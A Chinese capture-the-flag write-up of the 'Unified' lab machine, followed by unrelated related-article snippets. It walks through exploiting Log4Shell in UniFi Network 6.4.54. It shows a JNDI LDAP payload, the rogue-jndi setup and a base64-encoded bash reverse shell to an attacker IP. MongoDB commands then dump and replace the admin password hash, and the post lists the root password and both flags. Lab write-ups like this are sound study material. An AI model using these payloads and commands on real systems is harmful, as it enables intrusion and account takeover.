渗透测试学习day8

文章目录

    • 靶机:Unified
      • Task1
      • Task2
      • Task3
      • Task4
    • 5-14解题过程
      • Task5
      • Task6
      • Task7
      • Task8
      • Task9
      • Task10
      • Task11
      • Task12
      • Submit user flag
      • Submit root flag


靶机:Unified

Task1

问题:前四个开放端口是哪一个?

22,6789,8080,8443

nmap扫一下
在这里插入图片描述

Task2

问题:在端口8443上运行的软件的标题是什么?

UniFi Network

nmap重新扫一下

nmap -sV -v -sC -p 8443 --min-rate 1000 10.129.96.149

在这里插入图片描述

Task3

问题:正在运行的软件的版本是什么?

6.4.54

我们通过nmap扫描结果可以知道,8080端口有http服务
访问一下得到版本
在这里插入图片描述

Task4

问题:已识别漏洞的CVE是什么?

 CVE-2021-44228

去网上搜一下该版本的漏洞即可

5-14解题过程

搜出来存在log4j漏洞,我们抓包/api/login,构造语句
验证Log4j漏洞是否存在payload

{"username":"1","password":"1","remember":"${jndi:ldap://10.10.14.212/whatever}","strict":true
}

在这里插入图片描述LDAP 轻量级目录访问协议,默认端口389,如果存在漏洞发送payload消息,会发送数据报文到本机389端
我们开个监听

sudo tcpdump -i tun0 port 389

注:tcpdump是wireshark的一个程序,可以进行拦截

在这里插入图片描述可以发现拦截成功,说明目标主机是通过37900端口来访问本机ldap端口
工具准备如下

准备工具:
openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
Maven
sudo apt-get install maven -y
编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
//这里要换成阿里云的源,不然下载速度很慢
mvn package  

在这里插入图片描述
然后准备反弹shell
在这里插入图片描述

执行以下命令

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTIvMTAyOCAwPiYxJw==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.212"

在这里插入图片描述然后开启监听,bp发送
在这里插入图片描述成功反弹shell
在这里插入图片描述
然后先找到user的flag
在这里插入图片描述

查看mongdb端口情况

ps aux | grep mongo

查询结果中的bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 是正在运行的命令或可执行文件的路径和参数,说明端口为27117

在这里插入图片描述

尝试读取管理员密码,UniFi程序的默认数据库ace,查询admin表的数据

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

注:参数–eval

发现administrator的账户信息以及密码的加密信息
在这里插入图片描述x_shadow即是密码哈希, SHA-512 算法使用一个以 6 6 6 开头的 16 字符字符串盐值进行散列

以$6$开头的,表明是用SHA-512加密的;
以$1$开头的,表明是用MD5加密的;
以$2$开头的,表明是用Blowfish加密的;
以$5$开头的,表明是用 SHA-256加密的。星号代表帐号被锁定ps:是在linux shadow文件才这么表示

当然可以直接用工具hashid解密一下加密方式,发现是sha512
在这里插入图片描述由于是散列函数,无法破解,只能使用替换方法
替换mongdb中的administrator的密钥,如下加密admin
在这里插入图片描述利用nosql的语法,update以下

mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$jaYBW0iCZNXzIuZk$FtGH/we0.hTsf63jTv6fh3sgcPP/J0uIXKXp0ADNWelcqW0ykcTiwnkvI.YePmnRpYMKZ24cqsSCxxg2RtBBs1"}})'

在这里插入图片描述
然后可以自己再看看会发现,已经把密钥改为我们设置的admin的
我们直接登录,在设置发现允许ssh连接并且知道root密码
在这里插入图片描述
ssh连接成功
在这里插入图片描述
继续得到root的flag
在这里插入图片描述

Task5

问题:JNDI在注入中利用了什么协议?

ldap

Task6

问题:我们使用什么工具来拦截流量,表明攻击成功?

tcpdump

Task7

问题:我们需要在哪个端口去拦截流量传输?

389

Task8

问题:MongoDB服务运行在哪个端口上?

27117

Task9

问题: UniFi应用程序的默认数据库名称是什么?

ace

Task10

问题:在MongoDB中,我们用来枚举数据库中的用户的功能是什么?

db.admin.find()

Task11

问题:在MongoDB中,我们用来更新数据库中的用户的功能是什么?

db.admin.update()

Task12

问题:root的密码

NotACrackablePassword4U2022

Submit user flag

6ced1a6a89e666c0620cdb10262ba127

Submit root flag

e50bc93c75b634e4b272d2f771c33681

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/213307.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决IDEA配置gitignore不生效

idea gitignore 不生效 原因 之前已经git add 过,之后再设置.gitignore 文件是不会生效的 解决 撤销 git add 操作,在控制台输入命令: git reset重新使用IDEA 提交代码即可

打包HTML

结合之前的webpack打包 ,对HTML进行相对应的打包 1.在浏览器打开npm搜索 html—webpack—插件 2.下划找到lnstall复制webpack5里的第一句到终端 3.下滑找到用法配置脚本语言 3.1 复制下图代码到之前的webpack.config.js脚本里放在开头的位置 3.2 复制下图代码到之…

pandas 使用方法(1)

目录 1. excel 表格处理 (1) 读取excel 表格 (2) 抽取excel表部分列数据 (3) 保存数据到excel表格 (4) 保存到 excel 表中的不同sheet 2. 判断二维数组中的某个数值是否为空 3. 删除二维数组中的空行 4. 在列表中添加某列属性 本文是将使用pandas过程中遇到的问题进行了…

功率器件是什么

功率器件 电子元器件百科 文章目录 功率器件前言一、功率器件是什么二、功率器件的类别三、功率器件的应用实例四、功率器件作用原理总结前言 功率器件可根据其功率承载能力、工作频率、开通电阻、速度和效率等参数进行选择,以满足不同应用的需求。功率器件的应用领域涉及到电…

【Web】SCU新生赛个人wp及完赛感想

目录 一些碎碎念: Web Guideline 2048 ezupload hardupload ezphp ezweb ezsql webbuilder tarit tarit_revenge VipDinner simplespi 一些碎碎念: scu新生赛是我全心全力打的第二场比赛,历时七天,期间不免煎熬&…

孜然地址引导页V9(带后台)

刚刚在浏览之前经常访问的网站的时候我发现他不用那个域名了,然后我见这个页面好看,就把他干下来了,然后把给他写了个后台。另外如果你的子页面收录多的话,人家百度访问你的子页面会显示404的,所以为了流量可观安装这个…

【算法题】字符串变换最小字符串 * (js)

思路: 将字符按字典排序得到minStr,对比原str 如果 minStr str 则本身就是最小字符串 否则从前往后遍历str,让str[i]和minStr[i]对比,如果不同则替换 str[i]为minStr[i],并且这个minStr[i]这个字符要从str中寻找, 如果…

抓取真实浏览器设备指纹fingerprint写入cookie方案

一个关于抓取真实浏览器设备指纹写入cookie方案,用户访问页面获取到用户设备生成指纹id,通过js把指纹存入cookie,然后用php进行获取cookie存的指纹值到后台。 用途:追踪用户设备,防恶意注册,防恶意采集 浏…

C语言-每日刷题练习

[蓝桥杯 2013 省 B] 翻硬币 题目背景 小明正在玩一个“翻硬币”的游戏。 题目描述 桌上放着排成一排的若干硬币。我们用 * 表示正面,用 o 表示反面(是小写字母,不是零),比如可能情形是 **oo***oooo,如果…

第9讲、集成服务(增强用户使用体验感):

1、插入集成服务安装盘 操作系统关闭: 1)当物理机关机时,Hyper-V上的虚拟机将优先于物理机装机,如果此时虚拟机还有应用 正在运行,那么会先保存这些应用至磁盘,然后再有序…

【Hadoop_03】HDFS概述与Shell操作

1、集群配置(1)集群启动/停止方式总结(2)编写Hadoop集群常用脚本(3)常考面试题【1】常用端口号【2】常用配置-文件 2、HDFS概述(1)HDFS产出背景及定义(2)HDFS…

K8S学习指南(9)-k8s核心对象init pod

文章目录 引言什么是Init容器?Init容器的使用场景1. 数据初始化2. 网络设置3. 等待依赖服务 Init容器的生命周期1. **Pending**2. **Running**3. **Terminated** Init容器的示例Init容器的高级用法结论 引言 Kubernetes(简称K8s)是一个强大的…

qmap类

QMap是一个关联数组,它将键(key)与值(value)相关联。QMap类提供了一系列方法来操作和查询其中存储的数据。下面是一些常见的QMap方法及其示例代码: insert()方法用于将键值对插入到QMap中。如果键已经存在&…

软件工程考试复习

第一章、软件工程概述 🌟软件程序数据文档(考点) 🌟计算机程序及其说明程序的各种文档称为 ( 文件 ) 。计算任务的处理对象和处理规则的描述称为 ( 程序 )。有关计算机程序功能、…

SQL注入概述

预计更新1.SQL注入概述 1.1 SQL注入攻击概述 1.2 SQL注入漏洞分类 1.3 SQL注入攻击的危害 SQLMap介绍 2.1 SQLMap简介 2.2 SQLMap安装与配置 2.3 SQLMap基本用法 SQLMap进阶使用 3.1 SQLMap高级用法 3.2 SQLMap配置文件详解 3.3 SQLMap插件的使用 SQL注入漏洞检测 4.1 SQL注入…

智能优化算法应用:基于灰狼算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于灰狼算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于灰狼算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.灰狼算法4.实验参数设定5.算法结果6.参考文献7.MA…

unity学习笔记19

一、角色动画的使用练习 从资源商店导入的动画资源(Character Pack: Free Sample)中将资源中的角色创建在场景里,现在场景里存在的角色并没有任何动画。 在资源中找到Animations文件夹,在这个文件有很多模型文件(.FBX…

自定义带有构建标记的Go二进制文件

引言 在Go中,构建标签或构建约束,是添加到代码片段中的标识符,用于确定在build过程中何时应将文件包含在包中。这允许您从相同的源代码构建不同版本的Go应用程序,并以快速和有组织的方式在它们之间切换。许多开发人员使用构建标记来改进构建跨平台兼容应用程序的工作流程,…

算能 MilkV Duo开发板实战——opencv-mobile (迷你版opencv库)的移植和应用

前言 OpenCV是一种开源的计算机视觉和机器学习软件库,旨在提供一组通用的计算机视觉工具。它用于图像处理、目标识别、人脸识别、机器学习等领域,广泛应用于计算机视觉任务。 OpenCV-Mobile是OpenCV库的轻量版本,专为移动平台(A…

学习 NVIDIA Omniverse 的最基础概念

无用的前言 近两年关于 Omniverse 的宣传一直很多,可我一直没去了解,连它是个啥都不知道。最近正好有契机需要了解它,于是我今天抽时间看了些它的官方介绍,并按照自己的理解梳理在这里。 官方资料索引 Omniverse 官网主页&…